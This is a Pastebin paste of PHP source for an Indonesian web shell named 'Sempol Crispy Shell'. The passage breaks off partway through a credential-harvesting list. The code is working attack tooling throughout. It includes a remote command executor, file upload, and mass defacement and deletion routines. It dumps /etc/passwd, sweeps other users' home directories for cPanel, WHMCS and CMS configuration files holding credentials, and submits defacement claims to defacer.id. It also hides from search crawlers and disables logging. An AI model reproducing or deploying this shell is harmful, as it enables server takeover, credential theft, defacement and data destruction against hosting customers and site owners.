tukangsempol

[ PHP ] Sempol Crispy Shell

Nov 25th, 2016
52
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 99.77 KB | None | 0 0
  1. <?php
  2. session_start();
  3. error_reporting(0);
  4. set_time_limit(0);
  5. @set_magic_quotes_runtime(0);
  6. @clearstatcache();
  7. @ini_set('error_log',NULL);
  8. @ini_set('log_errors',0);
  9. @ini_set('max_execution_time',0);
  10. @ini_set('output_buffering',0);
  11. @ini_set('display_errors', 0);
  12.  
  13. $auth_pass = "f888f426b7fd411467ca405c1dcbf68e"; // default: tukangsempol
  14. $color = "#00ff00";
  15. $default_action = 'FilesMan';
  16. $default_use_ajax = true;
  17. $default_charset = 'UTF-8';
  18. if(!empty($_SERVER['HTTP_USER_AGENT'])) {
  19.     $userAgents = array("Googlebot", "Slurp", "MSNBot", "PycURL", "facebookexternalhit", "ia_archiver", "crawler", "Yandex", "Rambler", "Yahoo! Slurp", "YahooSeeker", "bingbot");
  20.     if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
  21.         header('HTTP/1.0 404 Not Found');
  22.         exit;
  23.     }
  24. }
  25.  
  26. function login_shell() {
  27. ?>
  28. <html>
  29. <head>
  30. <title>Apa sih mz</title>
  31. <style type="text/css">
  32. html {
  33.     margin: 20px auto;
  34.     background: #000000;
  35.     color: green;
  36.     text-align: center;
  37. }
  38. header {
  39.     color: green;
  40.     margin: 10px auto;
  41. }
  42. input[type=password] {
  43.     width: 250px;
  44.     height: 25px;
  45.     color: red;
  46.     background: #000000;
  47.     border: 1px dotted green;
  48.     padding: 5px;
  49.     margin-left: 20px;
  50.     text-align: center;
  51. }
  52. </style>
  53. </head>
  54. <center>
  55. <header>
  56. <img src="http://www.fiikus.net/asciiart/jark.png"/>
  57. <br>
  58.  <br>
  59. <form method="post">
  60. <input type="password" name="pass">
  61. </form>
  62. <?php
  63. exit;
  64. }
  65. if(!isset($_SESSION[md5($_SERVER['HTTP_HOST'])]))
  66.     if( empty($auth_pass) || ( isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass) ) )
  67.         $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  68.     else
  69.         login_shell();
  70. if(isset($_GET['file']) && ($_GET['file'] != '') && ($_GET['act'] == 'download')) {
  71.     @ob_clean();
  72.     $file = $_GET['file'];
  73.     header('Content-Description: File Transfer');
  74.     header('Content-Type: application/octet-stream');
  75.     header('Content-Disposition: attachment; filename="'.basename($file).'"');
  76.     header('Expires: 0');
  77.     header('Cache-Control: must-revalidate');
  78.     header('Pragma: public');
  79.     header('Content-Length: ' . filesize($file));
  80.     readfile($file);
  81.     exit;
  82. }
  83. ?>
  84. <html>
  85. <head>
  86. <title>Mantab Soul</title>
  87. <meta name='author' content='tukangsempol'>
  88. <center><h1>  root@tukangsempol  </h1></center>
  89. <meta charset="UTF-8">
  90. <center><style type='text/css'>
  91. @import url(https://fonts.googleapis.com/css?family=Ubuntu);
  92. html {
  93.     background: #000000;
  94.     color: #ffffff;
  95.     font-family: 'Cambria';
  96.     font-size: 13px;
  97.     width: 100%;
  98. }
  99. li {
  100.     display: inline;
  101.     margin: 5px;
  102.     padding: 5px;
  103. }
  104. table, th, td {
  105.     border-collapse:collapse;
  106.     font-family: Tahoma, Geneva, sans-serif;
  107.     background: transparent;
  108.     font-family: 'Cambria';
  109.     font-size: 13px;
  110. }
  111. .table_home, .th_home, .td_home {
  112.     border: 1px solid #ffffff;
  113. }
  114. th {
  115.     padding: 10px;
  116. }
  117. a {
  118.     color: #ffffff;
  119.     text-decoration: none;
  120. }
  121. a:hover {
  122.     color: gold;
  123.     text-decoration: underline;
  124. }
  125. b {
  126.     color: gold;
  127. }
  128. input[type=text], input[type=password],input[type=submit] {
  129.     background: transparent;
  130.     color: #ffffff;
  131.     border: 1px solid #ffffff;
  132.     margin: 5px auto;
  133.     padding-left: 5px;
  134.     font-family: 'Cambria';
  135.     font-size: 13px;
  136. }
  137. textarea {
  138.     border: 1px solid #ffffff;
  139.     width: 100%;
  140.     height: 400px;
  141.     padding-left: 5px;
  142.     margin: 10px auto;
  143.     resize: none;
  144.     background: transparent;
  145.     color: #ffffff;
  146.     font-family: 'Cambria';
  147.     font-size: 13px;
  148. }
  149. select {
  150.     width: 152px;
  151.     background: #000000;
  152.     color: cyan;
  153.     border: 1px solid #ffffff;
  154.     margin: 5px auto;
  155.     padding-left: 5px;
  156.     font-family: 'Cambria';
  157.     font-size: 13px;
  158. }
  159. option:hover {
  160.     background: cyan;
  161.     color: #000000;
  162. }
  163. </style>
  164. </head>
  165. <?php
  166. function w($dir,$perm) {
  167.     if(!is_writable($dir)) {
  168.         return "<font color=red>".$perm."</font>";
  169.     } else {
  170.         return "<font color=cyan>".$perm."</font>";
  171.     }
  172. }
  173. function r($dir,$perm) {
  174.     if(!is_readable($dir)) {
  175.         return "<font color=red>".$perm."</font>";
  176.     } else {
  177.         return "<font color=cyan>".$perm."</font>";
  178.     }
  179. }
  180. function exe($cmd) {
  181.     if(function_exists('system')) {        
  182.         @ob_start();       
  183.         @system($cmd);     
  184.         $buff = @ob_get_contents();        
  185.         @ob_end_clean();       
  186.         return $buff;  
  187.     } elseif(function_exists('exec')) {        
  188.         @exec($cmd,$results);      
  189.         $buff = "";        
  190.         foreach($results as $result) {         
  191.             $buff .= $result;      
  192.         } return $buff;    
  193.     } elseif(function_exists('passthru')) {        
  194.         @ob_start();       
  195.         @passthru($cmd);       
  196.         $buff = @ob_get_contents();        
  197.         @ob_end_clean();       
  198.         return $buff;  
  199.     } elseif(function_exists('shell_exec')) {      
  200.         $buff = @shell_exec($cmd);     
  201.         return $buff;  
  202.     }
  203. }
  204. function perms($file){
  205.     $perms = fileperms($file);
  206.     if (($perms & 0xC000) == 0xC000) {
  207.     // Socket
  208.     $info = 's';
  209.     } elseif (($perms & 0xA000) == 0xA000) {
  210.     // Symbolic Link
  211.     $info = 'l';
  212.     } elseif (($perms & 0x8000) == 0x8000) {
  213.     // Regular
  214.     $info = '-';
  215.     } elseif (($perms & 0x6000) == 0x6000) {
  216.     // Block special
  217.     $info = 'b';
  218.     } elseif (($perms & 0x4000) == 0x4000) {
  219.     // Directory
  220.     $info = 'd';
  221.     } elseif (($perms & 0x2000) == 0x2000) {
  222.     // Character special
  223.     $info = 'c';
  224.     } elseif (($perms & 0x1000) == 0x1000) {
  225.     // FIFO pipe
  226.     $info = 'p';
  227.     } else {
  228.     // Unknown
  229.     $info = 'u';
  230.     }
  231.         // Owner
  232.     $info .= (($perms & 0x0100) ? 'r' : '-');
  233.     $info .= (($perms & 0x0080) ? 'w' : '-');
  234.     $info .= (($perms & 0x0040) ?
  235.     (($perms & 0x0800) ? 's' : 'x' ) :
  236.     (($perms & 0x0800) ? 'S' : '-'));
  237.     // Group
  238.     $info .= (($perms & 0x0020) ? 'r' : '-');
  239.     $info .= (($perms & 0x0010) ? 'w' : '-');
  240.     $info .= (($perms & 0x0008) ?
  241.     (($perms & 0x0400) ? 's' : 'x' ) :
  242.     (($perms & 0x0400) ? 'S' : '-'));
  243.     // World
  244.     $info .= (($perms & 0x0004) ? 'r' : '-');
  245.     $info .= (($perms & 0x0002) ? 'w' : '-');
  246.     $info .= (($perms & 0x0001) ?
  247.     (($perms & 0x0200) ? 't' : 'x' ) :
  248.     (($perms & 0x0200) ? 'T' : '-'));
  249.     return $info;
  250. }
  251. function hdd($s) {
  252.     if($s >= 1073741824)
  253.     return sprintf('%1.2f',$s / 1073741824 ).' GB';
  254.     elseif($s >= 1048576)
  255.     return sprintf('%1.2f',$s / 1048576 ) .' MB';
  256.     elseif($s >= 1024)
  257.     return sprintf('%1.2f',$s / 1024 ) .' KB';
  258.     else
  259.     return $s .' B';
  260. }
  261. function ambilKata($param, $kata1, $kata2){
  262.     if(strpos($param, $kata1) === FALSE) return FALSE;
  263.     if(strpos($param, $kata2) === FALSE) return FALSE;
  264.     $start = strpos($param, $kata1) + strlen($kata1);
  265.     $end = strpos($param, $kata2, $start);
  266.     $return = substr($param, $start, $end - $start);
  267.     return $return;
  268. }
  269. if(get_magic_quotes_gpc()) {
  270.     function idx_ss($array) {
  271.         return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
  272.     }
  273.     $_POST = idx_ss($_POST);
  274. }
  275.  
  276. error_reporting(0);
  277. @ini_set('error_log',NULL);
  278. @ini_set('log_errors',0);
  279. @ini_set('max_execution_time',0);
  280. @set_time_limit(0);
  281. @set_magic_quotes_runtime(0);
  282. if(isset($_GET['dir'])) {
  283.     $dir = $_GET['dir'];
  284.     chdir($dir);
  285. } else {
  286.     $dir = getcwd();
  287. }
  288. $dir = str_replace("\\","/",$dir);
  289. $scdir = explode("/", $dir);
  290. $freespace = hdd(disk_free_space("/"));
  291. $total = hdd(disk_total_space("/"));
  292. $used = $total - $freespace;
  293. $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=cyan>OFF</font>";
  294. $ds = @ini_get("disable_functions");
  295. $mysql = (function_exists('mysql_connect')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
  296. $curl = (function_exists('curl_version')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
  297. $wget = (exe('wget --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
  298. $perl = (exe('perl --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
  299. $python = (exe('python --help')) ? "<font color=cyan>ON</font>" : "<font color=red>OFF</font>";
  300. $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=cyan>NONE</font>";
  301. if(!function_exists('posix_getegid')) {
  302.     $user = @get_current_user();
  303.     $uid = @getmyuid();
  304.     $gid = @getmygid();
  305.     $group = "?";
  306. } else {
  307.     $uid = @posix_getpwuid(posix_geteuid());
  308.     $gid = @posix_getgrgid(posix_getegid());
  309.     $user = $uid['name'];
  310.     $uid = $uid['uid'];
  311.     $group = $gid['name'];
  312.     $gid = $gid['gid'];
  313. }
  314. echo "System: <font color=cyan>".php_uname()."</font><br>";
  315. echo "User: <font color=cyan>".$user."</font> (".$uid.") Group: <font color=cyan>".$group."</font> (".$gid.")<br>";
  316. echo "Server IP: <font color=cyan>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=cyan>".$_SERVER['REMOTE_ADDR']."</font><br>";
  317. echo "HDD: <font color=cyan>$used</font> / <font color=cyan>$total</font> ( Free: <font color=cyan>$freespace</font> )<br>";
  318. echo "Safe Mode: $sm<br>";
  319. echo "Disable Functions: $show_ds<br>";
  320. echo "MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl <br>";
  321. echo "Current DIR: ";
  322. foreach($scdir as $c_dir => $cdir) {   
  323.     echo "<a href='?dir=";
  324.     for($i = 0; $i <= $c_dir; $i++) {
  325.         echo $scdir[$i];
  326.         if($i != $c_dir) {
  327.         echo "/";
  328.         }
  329.     }
  330.     echo "'>$cdir</a>/";
  331. }
  332. echo "</td></tr></table><hr>";
  333. echo "<center>";
  334. echo "<ul>";
  335. echo "<li><a href='?'><font color=orange>{Home}</a></li>";
  336. echo "<li><a href='?dir=$dir&do=upload'><font color=orange>{Upload}</a></li>";
  337. echo "<li><a href='?dir=$dir&do=cmd'><font color=orange>{Command}</a></li>";
  338. echo "<li><a href='?dir=$dir&do=mass_deface'><font color=orange>{Mass Deface}</a></li>";
  339. echo "<li><a href='?dir=$dir&do=mass_delete'><font color=orange>{Mass Delete}</a></li>";
  340. echo "<li><a href='?dir=$dir&do=config'><font color=orange>{Config V.1}</a></li>";
  341. echo "<li><a href='?dir=$dir&do=symlink'><font color=orange>{Symlink}</a></li>";
  342. echo "<li><a href='?dir=$dir&do=jumping'><font color=orange>{Jumping}</a></li>";
  343. echo "<li><a href='?dir=$dir&do=cpanel'><font color=orange>{CPanel Crack}</a><br></li>";
  344. echo "<li><a href='?dir=$dir&do=smtp'><font color=orange>{SMTP Grabber}</a></li>";
  345. echo "<li><a href='?dir=$dir&do=zoneh'><font color=orange>{Zone-H}</a></li>";
  346. echo "<li><a href='?dir=$dir&do=defacerid'><font color=orange>{Defacer-ID}</a></li>";
  347. echo "<li><a href='?dir=$dir&do=cgi'><font color=orange>{CGI Telnet}</a></li>";
  348. echo "<li><a href='?dir=$dir&do=network'><font color=orange>{network}</a></li>";
  349. echo "<li><a href='?dir=$dir&do=adminer'><font color=orange>{Adminer}</a></li>";
  350. echo "<li><a href='?dir=$dir&do=passwbypass'><font color=orange>{Bypass Etc/Pass}</a><br></li>";
  351. echo "<li><a href='?dir=$dir&do=fake_root'><font color=orange>{Fake Root}</a></li>";
  352. echo "<li><a href='?dir=$dir&do=auto_edit_user'><font color=orange>{Auto Edit User}</a></li>";
  353. echo "<li><a href='?dir=$dir&do=auto_wp'><font color=orange>{Auto Edit Title WordPress}</a></li>";
  354. echo "<li><a href='?dir=$dir&do=zip'><font color=orange>{Zip Menu}</a></li>";
  355. echo "<li><a href='?dir=$dir&do=auto_dwp'><font color=orange>{WordPress Auto Deface}</a></li>";
  356. echo "<li><a href='?dir=$dir&do=auto_dwp2'><font color=orange>{WordPress Auto Deface V.2}</a></li>";
  357. echo "<li><a href='?dir=$dir&do=cpftp_auto'><font color=orange>{CPanel/FTP Auto Deface}</a></li>";
  358. echo "<li><a href='?dir=$dir&do=krdp_shell'><font color=orange>{K-RDP Shell}</a></li>";
  359. echo "<li>[ <a style='color: orange;' href='?logout=true'>Logout</a> ]</li>";
  360. echo "</ul>";
  361. echo "</center>";
  362. echo "<hr>";
  363. if($_GET['logout'] == true) {
  364.     unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
  365.     echo "<script>window.location='?';</script>";
  366. }if($_GET['do'] == 'upload') {
  367.     echo "<center>";
  368.     if($_POST['upload']) {
  369.         if($_POST['tipe_upload'] == 'biasa') {
  370.             if(@copy($_FILES['ix_file']['tmp_name'], "$dir/".$_FILES['ix_file']['name']."")) {
  371.                 $act = "<font color=cyan>berhasil kaka!</font> at <i><b>$dir/".$_FILES['ix_file']['name']."</b></i>";
  372.             } else {
  373.                 $act = "<font color=red>failed to upload file</font>";
  374.             }
  375.         } else {
  376.             $root = $_SERVER['DOCUMENT_ROOT']."/".$_FILES['ix_file']['name'];
  377.             $web = $_SERVER['HTTP_HOST']."/".$_FILES['ix_file']['name'];
  378.             if(is_writable($_SERVER['DOCUMENT_ROOT'])) {
  379.                 if(@copy($_FILES['ix_file']['tmp_name'], $root)) {
  380.                     $act = "<font color=cyan>upload sukses cuk</font> at <i><b>$root -> </b></i><a href='http://$web' target='_blank'>$web</a>";
  381.                 } else {
  382.                     $act = "<font color=red>Gagal upload cuk :V</font>";
  383.                 }
  384.             } else {
  385.                 $act = "<font color=red>Gagal upload cuk :V</font>";
  386.             }
  387.         }
  388.     }
  389.     echo "Upload File:
  390.     <form method='post' enctype='multipart/form-data'>
  391.     <input type='radio' name='tipe_upload' value='biasa' checked>Biasa [ ".w($dir,"Writeable")." ]
  392.     <input type='radio' name='tipe_upload' value='home_root'>home_root [ ".w($_SERVER['DOCUMENT_ROOT'],"Writeable")." ]<br>
  393.     <input type='file' name='ix_file'>
  394.     <input type='submit' value='upload' name='upload'>
  395.     </form>";
  396.     echo $act;
  397.     echo "</center>";
  398. } elseif($_GET['do'] == 'cmd') {
  399.     echo "<form method='post'>
  400.     <font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </font>
  401.     <input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
  402.     </form>";
  403.     if($_POST['do_cmd']) {
  404.         echo "<pre>".exe($_POST['cmd'])."</pre>";
  405.     }
  406. } elseif($_GET['do'] == 'mass_deface') {
  407.     function sabun_massal($dir,$namafile,$isi_script) {
  408.         if(is_writable($dir)) {
  409.             $dira = scandir($dir);
  410.             foreach($dira as $dirb) {
  411.                 $dirc = "$dir/$dirb";
  412.                 $lokasi = $dirc.'/'.$namafile;
  413.                 if($dirb === '.') {
  414.                     file_put_contents($lokasi, $isi_script);
  415.                 } elseif($dirb === '..') {
  416.                     file_put_contents($lokasi, $isi_script);
  417.                 } else {
  418.                     if(is_dir($dirc)) {
  419.                         if(is_writable($dirc)) {
  420.                             echo "[<font color=cyan>DONE</font>] $lokasi<br>";
  421.                             file_put_contents($lokasi, $isi_script);
  422.                             $idx = sabun_massal($dirc,$namafile,$isi_script);
  423.                         }
  424.                     }
  425.                 }
  426.             }
  427.         }
  428.     }
  429.     function sabun_biasa($dir,$namafile,$isi_script) {
  430.         if(is_writable($dir)) {
  431.             $dira = scandir($dir);
  432.             foreach($dira as $dirb) {
  433.                 $dirc = "$dir/$dirb";
  434.                 $lokasi = $dirc.'/'.$namafile;
  435.                 if($dirb === '.') {
  436.                     file_put_contents($lokasi, $isi_script);
  437.                 } elseif($dirb === '..') {
  438.                     file_put_contents($lokasi, $isi_script);
  439.                 } else {
  440.                     if(is_dir($dirc)) {
  441.                         if(is_writable($dirc)) {
  442.                             echo "[<font color=cyan>DONE</font>] $dirb/$namafile<br>";
  443.                             file_put_contents($lokasi, $isi_script);
  444.                         }
  445.                     }
  446.                 }
  447.             }
  448.         }
  449.     }
  450.     if($_POST['start']) {
  451.         if($_POST['tipe_sabun'] == 'mahal') {
  452.             echo "<div style='margin: 5px auto; padding: 5px'>";
  453.             sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  454.             echo "</div>";
  455.         } elseif($_POST['tipe_sabun'] == 'murah') {
  456.             echo "<div style='margin: 5px auto; padding: 5px'>";
  457.             sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
  458.             echo "</div>";
  459.         }
  460.     } else {
  461.     echo "<center>";
  462.     echo "<form method='post'>
  463.     <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
  464.     <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
  465.     <font style='text-decoration: underline;'>Folder:</font><br>
  466.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  467.     <font style='text-decoration: underline;'>Filename:</font><br>
  468.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  469.     <font style='text-decoration: underline;'>Index File:</font><br>
  470.     <textarea name='script' style='width: 450px; height: 200px;'>Hacked by tukangsempol</textarea><br>
  471.     <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
  472.     </form></center>";
  473.     }
  474. } elseif($_GET['do'] == 'mass_delete') {
  475.     function hapus_massal($dir,$namafile) {
  476.         if(is_writable($dir)) {
  477.             $dira = scandir($dir);
  478.             foreach($dira as $dirb) {
  479.                 $dirc = "$dir/$dirb";
  480.                 $lokasi = $dirc.'/'.$namafile;
  481.                 if($dirb === '.') {
  482.                     if(file_exists("$dir/$namafile")) {
  483.                         unlink("$dir/$namafile");
  484.                     }
  485.                 } elseif($dirb === '..') {
  486.                     if(file_exists("".dirname($dir)."/$namafile")) {
  487.                         unlink("".dirname($dir)."/$namafile");
  488.                     }
  489.                 } else {
  490.                     if(is_dir($dirc)) {
  491.                         if(is_writable($dirc)) {
  492.                             if(file_exists($lokasi)) {
  493.                                 echo "[<font color=cyan>DELETED</font>] $lokasi<br>";
  494.                                 unlink($lokasi);
  495.                                 $idx = hapus_massal($dirc,$namafile);
  496.                             }
  497.                         }
  498.                     }
  499.                 }
  500.             }
  501.         }
  502.     }
  503.     if($_POST['start']) {
  504.         echo "<div style='margin: 5px auto; padding: 5px'>";
  505.         hapus_massal($_POST['d_dir'], $_POST['d_file']);
  506.         echo "</div>";
  507.     } else {
  508.     echo "<center>";
  509.     echo "<form method='post'>
  510.     <font style='text-decoration: underline;'>Folder:</font><br>
  511.     <input type='text' name='d_dir' value='$dir' style='width: 450px;' height='10'><br>
  512.     <font style='text-decoration: underline;'>Filename:</font><br>
  513.     <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
  514.     <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
  515.     </form></center>";
  516.     }
  517. }elseif($_GET['do'] == 'passwbypass') {
  518.     echo '<center>Bypass etc/passw With:<br>
  519. <table style="width:50%">
  520.  <tr>
  521.    <td><form method="post"><input type="submit" value="System Function" name="syst"></form></td>
  522.    <td><form method="post"><input type="submit" value="Passthru Function" name="passth"></form></td>
  523.     <td><form method="post"><input type="submit" value="Exec Function" name="ex"></form></td>  
  524.     <td><form method="post"><input type="submit" value="Shell_exec Function" name="shex"></form></td>      
  525.    <td><form method="post"><input type="submit" value="Posix_getpwuid Function" name="melex"></form></td>
  526. </tr></table>Bypass User With : <table style="width:50%">
  527. <tr>
  528.    <td><form method="post"><input type="submit" value="Awk Program" name="awkuser"></form></td>
  529.    <td><form method="post"><input type="submit" value="System Function" name="systuser"></form></td>
  530.     <td><form method="post"><input type="submit" value="Passthru Function" name="passthuser"></form></td>  
  531.     <td><form method="post"><input type="submit" value="Exec Function" name="exuser"></form></td>      
  532.    <td><form method="post"><input type="submit" value="Shell_exec Function" name="shexuser"></form></td>
  533. </tr>
  534. </table><br>';
  535.  
  536.  
  537. if ($_POST['awkuser']) {
  538. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  539. echo shell_exec("awk -F: '{ print $1 }' /etc/passwd | sort");
  540. echo "</textarea><br>";
  541. }
  542. if ($_POST['systuser']) {
  543. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  544. echo system("ls /var/mail");
  545. echo "</textarea><br>";
  546. }
  547. if ($_POST['passthuser']) {
  548. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  549. echo passthru("ls /var/mail");
  550. echo "</textarea><br>";
  551. }
  552. if ($_POST['exuser']) {
  553. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  554. echo exec("ls /var/mail");
  555. echo "</textarea><br>";
  556. }
  557. if ($_POST['shexuser']) {
  558. echo"<textarea class='inputzbut' cols='65' rows='15'>";
  559. echo shell_exec("ls /var/mail");
  560. echo "</textarea><br>";
  561. }
  562. if($_POST['syst'])
  563. {
  564. echo"<textarea class='inputz' cols='65' rows='15'>";
  565. echo system("cat /etc/passwd");
  566. echo"</textarea><br><br><b></b><br>";
  567. }
  568. if($_POST['passth'])
  569. {
  570. echo"<textarea class='inputz' cols='65' rows='15'>";
  571. echo passthru("cat /etc/passwd");
  572. echo"</textarea><br><br><b></b><br>";
  573. }
  574. if($_POST['ex'])
  575. {
  576. echo"<textarea class='inputz' cols='65' rows='15'>";
  577. echo exec("cat /etc/passwd");
  578. echo"</textarea><br><br><b></b><br>";
  579. }
  580. if($_POST['shex'])
  581. {
  582. echo"<textarea class='inputz' cols='65' rows='15'>";
  583. echo shell_exec("cat /etc/passwd");
  584. echo"</textarea><br><br><b></b><br>";
  585. }
  586. echo '<center>';
  587. if($_POST['melex'])
  588. {
  589. echo"<textarea class='inputz' cols='65' rows='15'>";
  590. for($uid=0;$uid<60000;$uid++){
  591. $ara = posix_getpwuid($uid);
  592. if (!empty($ara)) {
  593. while (list ($key, $val) = each($ara)){
  594. print "$val:";
  595. }
  596. print "\n";
  597. }
  598. }
  599. echo"</textarea><br><br>";
  600. }
  601. //
  602.  
  603. //
  604. }elseif($_GET['do'] == 'defacerid') {
  605. echo "<center><form method='post'>
  606.         <u>Defacer</u>: <br>
  607.         <input type='text' name='hekel' size='50' value='tukangsempol'><br>
  608.         <u>Team</u>: <br>
  609.         <input type='text' name='tim' size='50' value='Your Team'><br>
  610.         <u>Domains</u>: <br>
  611.         <textarea style='width: 450px; height: 150px;' name='sites'></textarea><br>
  612.         <input type='submit' name='go' value='Submit' style='width: 450px;'>
  613.         </form>";
  614. $site = explode("\r\n", $_POST['sites']);
  615. $go = $_POST['go'];
  616. $hekel = $_POST['hekel'];
  617. $tim = $_POST['tim'];
  618. if($go) {
  619. foreach($site as $sites) {
  620. $zh = $sites;
  621. $form_url = "https://www.defacer.id/notify";
  622. $data_to_post = array();
  623. $data_to_post['attacker'] = "$hekel";
  624. $data_to_post['team'] = "$tim";
  625. $data_to_post['poc'] = 'SQL Injection';
  626. $data_to_post['url'] = "$zh";
  627. $curl = curl_init();
  628. curl_setopt($curl,CURLOPT_URL, $form_url);
  629. curl_setopt($curl,CURLOPT_POST, sizeof($data_to_post));
  630. curl_setopt($curl, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)"); //msnbot/1.0 (+http://search.msn.com/msnbot.htm)
  631. curl_setopt($curl,CURLOPT_POSTFIELDS, $data_to_post);
  632. curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
  633. curl_setopt($curl, CURLOPT_REFERER, 'https://defacer.id/notify.html');
  634. $result = curl_exec($curl);
  635. echo $result;
  636. curl_close($curl);
  637. echo "<br>";
  638. }
  639. }
  640. } elseif($_GET['do'] == 'config') {
  641.     $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  642.     $idx = mkdir("ncok_config", 0777);
  643.     $isi_htc = "Options all\nRequire None\nSatisfy Any";
  644.     $htc = fopen("ncok_config/.htaccess","w");
  645.     fwrite($htc, $isi_htc);
  646.     while($passwd = fgets($etc)) {
  647.         if($passwd == "" || !$etc) {
  648.             echo "<font color=red>Can't read /etc/passwd</font>";
  649.         } else {
  650.             preg_match_all('/(.*?):x:/', $passwd, $user_config);
  651.             foreach($user_config[1] as $user_ncok) {
  652.                 $user_config_dir = "/home/$user_ncok/public_html/";
  653.                 if(is_readable($user_config_dir)) {
  654.                     $grab_config = array(
  655.                         "/home/$user_ncok/.my.cnf" => "cpanel",
  656.                         "/home/$user_ncok/.accesshash" => "WHM-accesshash",
  657.                         "/home/$user_ncok/public_html/bw-configs/config.ini" => "BosWeb",
  658.                         "/home/$user_ncok/public_html/config/koneksi.php" => "Lokomedia",
  659.                         "/home/$user_ncok/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
  660.                         "/home/$user_ncok/public_html/clientarea/configuration.php" => "WHMCS",            
  661.                         "/home/$user_ncok/public_html/whmcs/configuration.php" => "WHMCS",
  662.                         "/home/$user_ncok/public_html/forum/config.php" => "phpBB",
  663.                         "/home/$user_ncok/public_html/sites/default/settings.php" => "Drupal",
  664.                         "/home/$user_ncok/public_html/config/settings.inc.php" => "PrestaShop",
  665.                         "/home/$user_ncok/public_html/app/etc/local.xml" => "Magento",
  666.                         "/home/$user_ncok/public_html/admin/config.php" => "OpenCart",
  667.                         "/home/$user_ncok/public_html/slconfig.php" => "Sitelok",                  
  668.                         "/home/$user_ncok/public_html/whm/configuration.php" => "WHMCS",
  669.                         "/home/$user_ncok/public_html/whmc/WHM/configuration.ph" => "WHMC",
  670.                         "/home/$user_ncok/public_html/central/configuration.php" => "WHM Central",
  671.                         "/home/$user_ncok/public_html/whm/WHMCS/configuration.php" => "WHMCS",
  672.                         "/home/$user_ncok/public_html/whm/whmcs/configuration.php" => "WHMCS",
  673.                         "/home/$user_ncok/public_html/submitticket.php" => "WHMCS",                                    
  674.                         "/home/$user_ncok/public_html/configuration.php" => "Joomla",                  
  675.                         "/home/$user_ncok/public_html/Joomla/configuration.php" => "JoomlaJoomla",
  676.                         "/home/$user_ncok/public_html/joomla/configuration.php" => "JoomlaJoomla",
  677.                         "/home/$user_ncok/public_html/JOOMLA/configuration.php" => "JoomlaJoomla",     
  678.                         "/home/$user_ncok/public_html/Home/configuration.php" => "JoomlaHome",
  679.                         "/home/$user_ncok/public_html/HOME/configuration.php" => "JoomlaHome",
  680.                         "/home/$user_ncok/public_html/home/configuration.php" => "JoomlaHome",
  681.                         "/home/$user_ncok/public_html/NEW/configuration.php" => "JoomlaNew",
  682.                         "/home/$user_ncok/public_html/New/configuration.php" => "JoomlaNew",
  683.                         "/home/$user_ncok/public_html/new/configuration.php" => "JoomlaNew",
  684.                         "/home/$user_ncok/public_html/News/configuration.php" => "JoomlaNews",
  685.                         "/home/$user_ncok/public_html/NEWS/configuration.php" => "JoomlaNews",
  686.                         "/home/$user_ncok/public_html/news/configuration.php" => "JoomlaNews",
  687.                         "/home/$user_ncok/public_html/Cms/configuration.php" => "JoomlaCms",
  688.                         "/home/$user_ncok/public_html/CMS/configuration.php" => "JoomlaCms",
  689.                         "/home/$user_ncok/public_html/cms/configuration.php" => "JoomlaCms",
  690.                         "/home/$user_ncok/public_html/Main/configuration.php" => "JoomlaMain",
  691.                         "/home/$user_ncok/public_html/MAIN/configuration.php" => "JoomlaMain",
  692.                         "/home/$user_ncok/public_html/main/configuration.php" => "JoomlaMain",
  693.                         "/home/$user_ncok/public_html/Blog/configuration.php" => "JoomlaBlog",
  694.                         "/home/$user_ncok/public_html/BLOG/configuration.php" => "JoomlaBlog",
  695.                         "/home/$user_ncok/public_html/blog/configuration.php" => "JoomlaBlog",
  696.                         "/home/$user_ncok/public_html/Blogs/configuration.php" => "JoomlaBlogs",
  697.                         "/home/$user_ncok/public_html/BLOGS/configuration.php" => "JoomlaBlogs",
  698.                         "/home/$user_ncok/public_html/blogs/configuration.php" => "JoomlaBlogs",
  699.                         "/home/$user_ncok/public_html/beta/configuration.php" => "JoomlaBeta",
  700.                         "/home/$user_ncok/public_html/Beta/configuration.php" => "JoomlaBeta",
  701.                         "/home/$user_ncok/public_html/BETA/configuration.php" => "JoomlaBeta",
  702.                         "/home/$user_ncok/public_html/PRESS/configuration.php" => "JoomlaPress",
  703.                         "/home/$user_ncok/public_html/Press/configuration.php" => "JoomlaPress",
  704.                         "/home/$user_ncok/public_html/press/configuration.php" => "JoomlaPress",
